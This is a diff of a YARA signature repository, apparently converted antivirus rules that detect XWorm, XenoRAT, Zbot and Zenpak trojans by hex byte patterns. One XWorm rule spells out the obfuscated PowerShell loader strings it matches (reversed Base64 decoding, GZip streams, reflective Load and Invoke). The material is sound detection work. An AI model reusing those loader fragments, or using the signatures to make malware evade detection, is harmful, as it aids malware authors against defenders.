b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BAA_MTB.yar new file mode 100644 index 0000000000..c811b22c65 --- /dev/null +++ b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_XWorm_BAA_MTB{ + meta: + description = "Trojan:Win32/XWorm.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {33 d2 8b c7 f7 f6 03 cf 47 8a 44 15 ?? 8b 55 ?? 32 04 11 88 01 8b 4d ?? 3b fb 7c } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BAF_MTB.yar b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BAF_MTB.yar new file mode 100644 index 0000000000..bca2bcbd76 --- /dev/null +++ b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_XWorm_BAF_MTB{ + meta: + description = "Trojan:Win32/XWorm.BAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 04 57 33 d2 30 01 8b 45 ?? 03 c1 f7 75 ?? 0f b6 04 57 33 d2 30 41 01 8b 45 d0 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BSA_MTB.yar b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BSA_MTB.yar new file mode 100644 index 0000000000..92135ad0dc --- /dev/null +++ b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_XWorm_BSA_MTB{ + meta: + description = "Trojan:Win32/XWorm.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {56 8b f1 8b 4e 24 85 c9 74 15 8b 11 3b ce 0f 95 c0 0f b6 c0 50 ff 52 10 c7 46 24 00 } //10 + $a_01_1 = {8b 45 c0 8d 4d c0 6a 14 68 a8 7b 68 00 ff 10 8b 56 0c 8d 4d c0 e8 39 36 fb ff 8b f8 6a 09 68 9c 7b 68 00 8b 0f 8b 11 8b cf ff d2 8b 56 24 } //5 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/XWorm/Trojan_Win32_XWorm_GVB_MTB.yar b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_GVB_MTB.yar new file mode 100644 index 0000000000..d2e0dc450a --- /dev/null +++ b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_XWorm_GVB_MTB{ + meta: + description = "Trojan:Win32/XWorm.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_02_0 = {8a 1c 02 88 1c 01 83 c0 01 83 d6 00 90 13 3d d7 08 00 00 89 f7 83 df } //2 + $a_02_1 = {89 f3 83 e3 07 8a 1c 1c 80 f3 4a 88 1c 32 83 c6 01 83 d7 00 90 13 39 ce 89 fb 19 c3 } //1 + condition: + ((#a_02_0 & 1)*2+(#a_02_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/XWorm/Trojan_Win32_XWorm_GZQ_MTB.yar b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_GZQ_MTB.yar new file mode 100644 index 0000000000..4ba01c0e10 --- /dev/null +++ b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_GZQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_XWorm_GZQ_MTB{ + meta: + description = "Trojan:Win32/XWorm.GZQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {c6 85 ac fe ff ff 4c c6 85 ad fe ff ff 6f c6 85 ae fe ff ff 61 c6 85 af fe ff ff 64 c6 85 b0 fe ff ff 4c c6 85 b1 fe ff ff 69 c6 85 b2 fe ff ff 62 c6 85 b3 fe ff ff 72 c6 85 b4 fe ff ff 61 c6 85 b5 fe ff ff 72 c6 85 b6 fe ff ff 79 c6 85 b7 fe ff ff 57 } //5 + $a_01_1 = {5a b8 6b 00 00 00 66 89 85 50 fd ff ff b9 65 00 00 00 66 89 8d 52 fd ff ff ba 72 00 00 00 66 89 95 54 fd ff ff b8 6e 00 00 00 66 89 85 56 fd ff ff b9 65 00 00 00 66 89 8d 58 fd ff ff ba 6c 00 00 00 66 89 95 5a fd ff ff b8 33 00 00 00 66 89 85 5c fd ff ff b9 32 00 00 00 66 89 8d 5e fd ff ff ba 2e 00 00 00 66 89 95 60 fd ff ff b8 64 00 00 00 66 89 85 62 fd ff ff b9 6c 00 00 00 66 89 8d 64 fd ff ff ba 6c 00 00 00 66 89 95 66 fd ff ff 33 c0 66 89 85 68 fd ff ff c7 85 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/XWorm/Trojan_Win32_XWorm_HA_MTB.yar b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_HA_MTB.yar new file mode 100644 index 0000000000..45dd90ba0f --- /dev/null +++ b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_HA_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_XWorm_HA_MTB{ + meta: + description = "Trojan:Win32/XWorm.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,68 00 68 00 07 00 00 " + + strings : + $a_00_0 = {27 00 67 00 6e 00 69 00 72 00 74 00 73 00 34 00 36 00 65 00 73 00 61 00 62 00 6d 00 6f 00 72 00 66 00 27 00 5b 00 2d 00 31 00 2e 00 2e 00 2d 00 31 00 36 00 5d 00 20 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 27 00 } //50 'gnirts46esabmorf'[-1..-16] -join '' + $a_00_1 = {27 00 74 00 78 00 65 00 74 00 6c 00 6c 00 61 00 64 00 61 00 65 00 72 00 27 00 5b 00 2d 00 31 00 2e 00 2e 00 2d 00 31 00 31 00 5d 00 20 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 27 00 } //50 'txetlladaer'[-1..-11] -join '' + $a_00_2 = {27 00 64 00 61 00 6f 00 4c 00 27 00 5b 00 2d 00 31 00 2e 00 2e 00 2d 00 34 00 5d 00 20 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 27 00 } //50 'daoL'[-1..-4] -join '' + $a_00_3 = {2e 00 4d 00 65 00 6d 00 6f 00 72 00 79 00 53 00 74 00 72 00 65 00 61 00 6d 00 3b 00 } //1 .MemoryStream; + $a_00_4 = {2e 00 47 00 5a 00 69 00 70 00 53 00 74 00 72 00 65 00 61 00 6d 00 28 00 24 00 } //1 .GZipStream($ + $a_00_5 = {2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 } //1 .Invoke( + $a_00_6 = {2e 00 43 00 6f 00 70 00 79 00 54 00 6f 00 28 00 24 00 } //1 .CopyTo($ + condition: + ((#a_00_0 & 1)*50+(#a_00_1 & 1)*50+(#a_00_2 & 1)*50+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=104 + +} \ No newline at end of file diff --git a/Trojan/Win32/XenoRAT/Trojan_Win32_XenoRat_AXNR_MTB.yar b/Trojan/Win32/XenoRAT/Trojan_Win32_XenoRat_AXNR_MTB.yar new file mode 100644 index 0000000000..4ace57d3e1 --- /dev/null +++ b/Trojan/Win32/XenoRAT/Trojan_Win32_XenoRat_AXNR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_XenoRat_AXNR_MTB{ + meta: + description = "Trojan:Win32/XenoRat.AXNR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {31 d2 f7 f6 0f be 35 ?? ?? ?? ?? 89 ca 39 f0 74 ?? f2 0f 10 74 24 08 0f be 05 ?? ?? ?? ?? 83 c0 07 0f be 0d ?? ?? ?? ?? 31 d2 f7 f1 0f be 0d ?? ?? ?? ?? 29 c8 66 0f 6e f8 66 0f eb f9 f2 0f 5c fa f2 0f 59 fe f2 0f 2c d7 21 da 03 7c 24 04 01 d2 29 d7 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAH_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAH_MTB.yar index 01d25fc9e3..a2d4be54e8 100644 --- a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAH_MTB.yar +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAH_MTB.yar @@ -3,13 +3,23 @@ rule Trojan_Win32_Zbot_BAH_MTB{ meta: description = "Trojan:Win32/Zbot.BAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + strings : + $a_03_0 = {50 5a c1 c2 0a c1 ca 02 c7 01 ?? ?? ?? ?? 31 01 83 c1 04 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_Win32_Zbot_BAH_MTB_2{ + meta: + description = "Trojan:Win32/Zbot.BAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + strings : $a_03_0 = {83 ee 02 8d 76 01 29 de 31 db 4b 21 f3 c7 42 ?? ?? ?? ?? ?? 31 32 } //2 condition: ((#a_03_0 & 1)*2) >=2 } -rule Trojan_Win32_Zbot_BAH_MTB_2{ +rule Trojan_Win32_Zbot_BAH_MTB_3{ meta: description = "Trojan:Win32/Zbot.BAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAJ_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAJ_MTB.yar new file mode 100644 index 0000000000..6e7445280e --- /dev/null +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAJ_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_Zbot_BAJ_MTB{ + meta: + description = "Trojan:Win32/Zbot.BAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {2b c1 32 d8 89 44 24 ?? 8a 84 24 ?? ?? ?? ?? 8d bc 14 ?? ?? ?? ?? 88 1f } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_Win32_Zbot_BAJ_MTB_2{ + meta: + description = "Trojan:Win32/Zbot.BAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {29 c0 33 02 83 c2 04 f7 d8 83 e8 29 83 e8 02 40 29 f8 89 c7 c7 46 ?? ?? ?? ?? ?? 31 06 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAK_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAK_MTB.yar new file mode 100644 index 0000000000..cb758400ef --- /dev/null +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zbot_BAK_MTB{ + meta: + description = "Trojan:Win32/Zbot.BAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {89 85 14 ff ff ff 8b 85 40 ff ff ff 8b 4d e4 8b 04 81 99 2b c2 d1 f8 89 85 3c ff ff ff 81 bd ?? ?? ?? ?? ?? ?? ?? ?? 73 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAL_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAL_MTB.yar new file mode 100644 index 0000000000..2fa0542a13 --- /dev/null +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zbot_BAL_MTB{ + meta: + description = "Trojan:Win32/Zbot.BAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {0f dc db 0f 60 f1 66 0f e9 d3 31 37 0f e5 ed } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAM_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAM_MTB.yar new file mode 100644 index 0000000000..9385a2de7b --- /dev/null +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_BAM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zbot_BAM_MTB{ + meta: + description = "Trojan:Win32/Zbot.BAM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 45 cc 33 d2 b9 10 00 00 00 f7 f1 8b 45 cc 8a 88 ?? ?? ?? ?? 2a 8a ?? ?? ?? ?? 8b 55 cc 88 8a ?? ?? ?? ?? eb } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_EAEN_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_EAEN_MTB.yar new file mode 100644 index 0000000000..fa826156d8 --- /dev/null +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_EAEN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zbot_EAEN_MTB{ + meta: + description = "Trojan:Win32/Zbot.EAEN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {31 c1 8b 55 fc 8b 45 0c 01 d0 89 ca 88 10 83 45 fc 01 8b 45 fc 3b 45 10 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_EN_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_EN_MTB.yar index cf24840469..e8186d2eb6 100644 --- a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_EN_MTB.yar +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_EN_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win32_Zbot_EN_MTB{ + meta: + description = "Trojan:Win32/Zbot.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {8d 0c 02 8b 55 f4 89 d0 c1 e0 02 01 d0 c1 e0 03 01 c8 05 f8 00 00 00 89 45 e0 8b 45 e0 8b 50 10 8b 45 08 8b 00 89 c1 8b 45 e0 8b 40 14 01 c8 89 c3 8b 45 e4 8b 48 34 8b 45 e0 8b 40 0c 01 c8 } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} +rule Trojan_Win32_Zbot_EN_MTB_2{ meta: description = "Trojan:Win32/Zbot.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -13,7 +23,7 @@ rule Trojan_Win32_Zbot_EN_MTB{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule Trojan_Win32_Zbot_EN_MTB_2{ +rule Trojan_Win32_Zbot_EN_MTB_3{ meta: description = "Trojan:Win32/Zbot.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_NZ_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_NZ_MTB.yar index ae34b5ded5..be3f172315 100644 --- a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_NZ_MTB.yar +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_NZ_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_Win32_Zbot_NZ_MTB{ +rule Trojan_Win32_ZBot_NZ_MTB{ meta: - description = "Trojan:Win32/Zbot.NZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + description = "Trojan:Win32/ZBot.NZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " strings : $a_03_0 = {8b d1 8d 4a fe 41 8b d1 8b c8 85 d2 75 15 c1 e2 ?? 33 c0 41 85 e4 74 04 03 c9 } //5 diff --git a/Trojan/Win32/Zbot/Trojan_Win32_Zbot_SLY_MTB.yar b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_SLY_MTB.yar new file mode 100644 index 0000000000..990c491f7f --- /dev/null +++ b/Trojan/Win32/Zbot/Trojan_Win32_Zbot_SLY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zbot_SLY_MTB{ + meta: + description = "Trojan:Win32/Zbot.SLY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8d 44 24 04 50 33 db 53 53 68 28 82 41 00 68 02 00 00 80 ff 15 0c 80 41 00 3b c3 74 06 83 f8 02 0f 95 c3 8a c3 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpack/Trojan_Win32_Zenpack_EGQN_MTB.yar b/Trojan/Win32/Zenpack/Trojan_Win32_Zenpack_EGQN_MTB.yar new file mode 100644 index 0000000000..a2ea33472f --- /dev/null +++ b/Trojan/Win32/Zenpack/Trojan_Win32_Zenpack_EGQN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpack_EGQN_MTB{ + meta: + description = "Trojan:Win32/Zenpack.EGQN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 4c 24 15 8b 44 24 18 0f b6 54 24 16 88 0c 03 0f b6 4c 24 17 43 88 14 03 8b 54 24 20 43 88 0c 03 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ABC_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ABC_MTB.yar new file mode 100644 index 0000000000..375f5e5c82 --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_ABC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zenpak_ABC_MTB{ + meta: + description = "Trojan:Win32/Zenpak.ABC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {89 10 31 30 42 89 2d ?? ?? ?? ?? 31 c2 83 f2 02 29 c2 ba 08 00 00 00 8d 05 ?? ?? ?? ?? 89 18 b9 02 00 00 00 e2 } //4 + $a_01_1 = {55 89 e5 8a 45 0c 8a 4d 08 b2 01 88 cc 02 25 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_BAA_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_BAA_MTB.yar new file mode 100644 index 0000000000..59027bf64f --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_BAA_MTB{ + meta: + description = "Trojan:Win32/Zenpak.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 44 24 28 c1 ef 05 03 c1 03 7c 24 1c 33 f8 8d 04 1a 33 f8 81 fe ?? ?? ?? ?? 75 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_BAB_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_BAB_MTB.yar new file mode 100644 index 0000000000..fca11b86a1 --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_BAB_MTB{ + meta: + description = "Trojan:Win32/Zenpak.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {01 c8 03 45 f0 89 45 f0 8b 45 ec 83 c0 01 89 45 ec eb } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GNF_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GNF_MTB.yar index 42eaed4d51..cafab426b1 100644 --- a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GNF_MTB.yar +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GNF_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_Win32_Zenpak_GNF_MTB{ condition: ((#a_03_0 & 1)*10) >=10 +} +rule Trojan_Win32_Zenpak_GNF_MTB_2{ + meta: + description = "Trojan:Win32/Zenpak.GNF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {31 d2 89 15 ?? ?? ?? ?? 01 3d ?? ?? ?? ?? 89 c2 8d 05 ?? ?? ?? ?? 31 d2 89 10 31 30 e9 ?? ?? ?? ?? c3 40 8d 05 ?? ?? ?? ?? c7 00 ?? ?? ?? ?? 31 28 4a c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 1d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + } \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTB_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTB_MTB.yar new file mode 100644 index 0000000000..b4bfd4d4b9 --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTB_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_Zenpak_GTB_MTB{ + meta: + description = "Trojan:Win32/Zenpak.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 30 83 e8 ?? 8d 05 ?? ?? ?? ?? 89 38 ?? ?? ?? ?? ?? 40 8d 05 ?? ?? ?? ?? 31 d2 89 10 31 18 89 d0 8d 05 ?? ?? ?? ?? 31 d2 89 10 31 28 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_Win32_Zenpak_GTB_MTB_2{ + meta: + description = "Trojan:Win32/Zenpak.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 ca 01 25 ?? ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 83 c0 ?? ff d0 89 d8 01 05 ?? ?? ?? ?? 89 f0 01 05 ?? ?? ?? ?? 89 e8 01 05 ?? ?? ?? ?? 89 f8 01 05 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTY_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTY_MTB.yar new file mode 100644 index 0000000000..425a3a2f8e --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_GTY_MTB{ + meta: + description = "Trojan:Win32/Zenpak.GTY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {29 d0 31 d2 89 15 ?? ?? ?? ?? 01 35 ?? ?? ?? ?? 42 29 c2 01 c2 8d 05 ?? ?? ?? ?? 31 d2 89 10 31 18 e8 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTZ_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTZ_MTB.yar new file mode 100644 index 0000000000..0c05eca5d8 --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GTZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_GTZ_MTB{ + meta: + description = "Trojan:Win32/Zenpak.GTZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 56 50 8a 45 ?? 8a 4d ?? 31 d2 88 d4 88 45 ?? 88 4d ?? 8b 15 ?? ?? ?? ?? 81 ea ?? ?? ?? ?? 89 15 ?? ?? ?? ?? 0f b6 55 ?? 0f b6 35 ?? ?? ?? ?? 01 f2 88 d0 a2 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GYZ_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GYZ_MTB.yar new file mode 100644 index 0000000000..c1ba95abff --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GYZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_GYZ_MTB{ + meta: + description = "Trojan:Win32/Zenpak.GYZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {31 c2 01 d0 8d 05 ?? ?? ?? ?? 89 18 83 e8 ?? 4a 8d 05 ?? ?? ?? ?? c7 00 ?? ?? ?? ?? 31 30 c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 3d ?? ?? ?? ?? 8d 05 ?? ?? ?? ?? c7 00 ?? ?? ?? ?? 31 28 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GZK_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GZK_MTB.yar new file mode 100644 index 0000000000..1b6180cd4a --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_GZK_MTB{ + meta: + description = "Trojan:Win32/Zenpak.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {83 f2 0a 42 8d 05 ?? ?? ?? ?? 89 38 8d 05 ?? ?? ?? ?? ff d0 83 f2 ?? 83 ea ?? 8d 05 ?? ?? ?? ?? 31 d2 89 10 31 18 4a 48 8d 05 ?? ?? ?? ?? c7 00 ?? ?? ?? ?? 31 28 b9 02 00 00 00 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GZN_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GZN_MTB.yar index 70fc062bce..9be314ac58 100644 --- a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GZN_MTB.yar +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_GZN_MTB.yar @@ -3,6 +3,16 @@ rule Trojan_Win32_Zenpak_GZN_MTB{ meta: description = "Trojan:Win32/Zenpak.GZN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + strings : + $a_03_0 = {4a 31 d0 89 f0 50 8f 05 ?? ?? ?? ?? 48 01 c2 01 3d ?? ?? ?? ?? 29 c2 83 f0 01 42 89 d0 31 1d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_Win32_Zenpak_GZN_MTB_2{ + meta: + description = "Trojan:Win32/Zenpak.GZN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + strings : $a_03_0 = {4a 31 d0 40 8d 05 ?? ?? ?? ?? 01 20 83 f2 01 e8 ?? ?? ?? ?? ba ?? ?? ?? ?? 8d 05 ?? ?? ?? ?? 01 18 8d 05 ?? ?? ?? ?? ff e0 8d 05 ?? ?? ?? ?? 89 30 89 d0 8d 05 ?? ?? ?? ?? 01 28 40 8d 05 ?? ?? ?? ?? 31 38 b9 02 00 00 00 } //10 condition: diff --git a/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_SEC_MTB.yar b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_SEC_MTB.yar new file mode 100644 index 0000000000..604f24c353 --- /dev/null +++ b/Trojan/Win32/Zenpak/Trojan_Win32_Zenpak_SEC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zenpak_SEC_MTB{ + meta: + description = "Trojan:Win32/Zenpak.SEC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {88 cc 02 25 ?? ?? ?? ?? 88 25 ?? 